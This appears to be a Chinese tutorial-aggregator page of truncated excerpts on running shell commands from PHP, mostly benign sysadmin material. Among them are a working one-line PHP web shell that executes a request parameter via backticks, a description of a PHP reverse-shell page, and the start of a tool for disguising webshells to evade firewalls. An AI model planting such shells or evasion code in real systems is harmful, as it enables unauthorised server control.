【shell跑一个PHP脚本的简单命令】教程文章相关的互联网学习教程文章

php与shell实现多线程的简单例子

<?php//for循环for ($i = 0; $i < 10; $i++) { echo $i; sleep(5);}接下来,就要shell上场了,调用php文件:sleep.php,代码如下:#!/bin/bash#edit by bbs.it-home.orgfor i in 1 2 3 4 5do /usr/bin/php -r -q /data/website/sleep.php &done注意: 以上代码的关键点在于,要在请求php代码的行尾加一个&符号,否则不能进行多线程的,&表示讲服务推送到后台执行。 因此,在shell的每次的循环中不必等php的代码全部执行完在请...

快速安装php7的shell脚本

PHP7 2015-12月正式发布,性能比5.6版本提高了不少,因此安装php7试试,在php.ini 配置zend_extension=opcache.soopcache.enable=1opcache.enable_cli=1果然性能提高了很多。#!/bin/bashapt-get updateapt-get install -y git-core autoconf bison libxml2-dev libbz2-dev libmcrypt-dev libcurl4-openssl-dev libltdl-dev libpng-dev libpspell-dev libreadline-dev libicu-dev build-essentialmkdir -p /usr/local/php7/etc/conf...

PHP也可以當成ShellScript_PHP教程

PHP 怎么这么红 最近 PHP(Personal Hypertext Preprocessor) 似乎已经成了这一两年来 Linux/Unix 上最广为大家所使用的网页处理语言﹐它的方便、强大功能与 OpenSource 的特性使得它正逐渐侵蚀到传统 CGI 甚至是 MicroSoft ASP(Active Server Page)的市场﹐几乎各大网站征招人才莫不以会 PHP 作为基本条件。 PHP 确实有这个资格可以这么红﹐原因有下面数点 : PHP 是 OpenSource 软件﹐完全免费﹐可以自由散布﹐因此吸引了极多...

将PHP作为Shell脚本语言使用_PHP教程

我们都知道,PHP是一种非常好的动态网页开发语言(速度飞快,开发周期短……)。但是只有很少数的人意识到PHP也可以很好的作为编写Shell脚本的语言,当PHP作为编写Shell脚本的语言时,他并没有Perl或者Bash那么强大,但是他却有着很好的优势,特别是对于我这种熟悉PHP但是不怎么熟悉Perl的人。 要使用PHP作为Shell脚本语言,你必须将PHP作为二进制的CGI编译,而不是Apache模式;编译成为二进制CGI模式运行的PHP有一些安全性的问题,...

php反弹shell实现代码_PHP教程

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。 因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。 声明,没啥技...

php一句话cmdshell新型(非一句话木马)_PHP教程【图】

代码如下:/*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?>http://www.bkjia.com/PHPjc/320003.htmlwww.bkjia.comtruehttp://www.bkjia...

php读取shell管道传输过来的内容_PHP教程

暮夏,您好! rainbird给您发了短消息: 已经写了不少后台运行的deamon了.用的挺顺手的,但是我现在想获取管道传过来的内容,不知道咋实现,类似echo "aaaa" |a.php,a.php怎么获得echo的内容,不知道您有什么高见. 今天收到一条消息,解决的方法给大家分享一下: 实际上,shell 的 | 实际上表示的是 前一个的 标准输出 作为后一个的标准输入。虽然实现是通过pipe来实现的, 但是你写php代码的时候不需要知道底层的运作。你直接作为标准...

使用phpshell命令合并图片的代码_PHP教程

代码如下:#!/usr/local/bin/php -q author:freemouse // 下面是说明. print ("本程序用于合并2张 640x480大小的.\n"); print ("图片,并将其转化为一张 400x300 大小的图片\n"); print ("需要指定存放合成前图片(a.jpg,b.jpg)的默认目录\n"); print ("生成的图片将会保存为c.jpg\n"); //默认目录,自己编辑吧^_^ $d="/home/freemouse/Desktop"; print ("当前目录为: $d\n"); print (" 图片 a.jpg 偏移, 0-100: "); $fp = fopen("...

PHP下利用shell后台运行PHP脚本,并获取该脚本的ProcessID的代码_PHP教程

代码如下:$command = '/usr/bin/php /pub/www/u111/job/Crondo/auto_collector.php &'; $process = proc_open($command, array(),$pipes); $var = proc_get_status($process); proc_close($process); //pid就是进程ID,至于为什么要加1,我现在也没有搞懂,经过多次的测试,发现$var['pid']得到的ID比实际的少1 $pid = intval($var['pid'])+1; //杀死进程 proc_close(proc_open('kill -9 '.$pid, array(), $pipes));http://www.bkj...

PHP命令行工具shell_exec,exec,passthru,system详细使用介绍_PHP教程【图】

所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。 shell_exec() shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体。如果您编写过 shell 或 Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。例如,清单 1 显示了如何使用反撇号在当前目录中获取每个文本(.txt)的单词计数。 清单 1. 使用反撇号计算单词数量 代码如下:#! /bin/sh n...

php木马webshell扫描器代码_PHP教程

代码如下:/* +--------------------------------------------------------------------------+ | Codz by indexphp Version:0.01 | | (c) 2009 indexphp | | http://www.indexphp.org | +--------------------------------------------------------------------------+ */ /*===================== 程序配置 =====================*/ $dir='cms'; //设置要扫描的目录 $jumpoff=false;//设置要跳过检查的文件 $jump='safe.php|g'; /...

PHP教程之PHP中shell脚本的使用方法分享_PHP教程

作为命令语言,它交互式解释和执行用户输入的命令或者自动地解释和执行预先设定好的一连串的命令;作为程序设计语言,它定义了各种变量和参数,并提供了许多在高阶语言中才具有的控制结构,包括循环和分支。   PHP经过长时间的发展,很多用户都很了解PHP了,这里我发表一下个人理解,和大家讨论讨论。大多数情况下,我使用 exec() 命令和数据数组处理所有东西。或者对更简单的命令使用 shell_exec(),尤其是不关心结果时。如果仅需...

phpshell超强免杀、减少体积工具实现代码_PHP教程

lostwolf写的 这不是webshell,只是个webshell免杀工具 切勿当初webshell使用 仅限免杀phpwebshell 该工具运行在 cli 模式! 如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马! 任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙 代码如下:/* Title: PHP shell nokill T00L Blog: exploit-db.blogcn.com */ error_reporting(0); @ini_set('memory_limit','-1'); set_time_limit(0); $toolname="$argv[0]"...

php-cli简介(不会Shell语言一样用Shell)_PHP教程

1.基础知识 1.1 什么是Shell编程? 在 Unix 中,shell 可不是简单的命令解释器(典型的有 Windows 中的 DOS ),而是一个全功能的编程环境。Shell 是操作系统的一部分,用来与用户打交道,并且可以用来协调各个命令【1】。用Shell编程可以灵活地解决大量重复任务,十分方便。但是,Shell的语法十分怪异(个人意见),不容易记,如果现在熟悉的语言可以用来写shell那就好了——比如php——就可以快速开发Shell程序了(比如我的Premin...

解析php中如何直接执行SHELL_PHP教程

$message=shell_exec("sudo /usr/local/webserver/nginx/sbin/nginx -t 2>&1");echo "运行结果:".$message.""; 上面的语句可以直接在PHP中执行SHELL语句如果有返回值 那么其中的 2>&1 是必须的 他会重定向输出strerr 转到strout 输出! 否则返回结果会为空!http://www.bkjia.com/PHPjc/327946.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/327946.htmlTechArticle$message=shell_exec("sudo /usr/local/webserver/nginx/sbi...